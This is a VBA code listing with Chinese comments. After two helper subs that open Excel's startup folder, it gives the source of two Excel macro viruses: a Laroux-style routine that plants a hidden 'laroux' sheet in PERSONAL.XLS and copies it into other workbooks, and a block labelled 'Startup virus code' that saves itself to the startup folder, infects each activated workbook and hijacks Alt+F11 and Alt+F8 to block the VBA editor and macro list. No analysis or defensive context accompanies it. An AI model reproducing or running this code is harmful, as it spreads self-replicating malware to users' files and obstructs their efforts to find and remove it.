Sub ApplicationStartupPathA()
'Microsoft Excel 啟動資料夾的完整路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.Path & "\XLSTART\" '任意的資料夾
Set mySh = Nothing '物件的釋放
Error1: End Sub
Sub StartupPathA()
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath '任意的資料夾
Set mySh = Nothing '物件的釋放
Error1: End Sub
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "laroux" Then
Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case Else
End Select
End Sub
----------------------------------------------------------------------------------------------------------------------------
Startup病毒碼:
Startup模組中
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
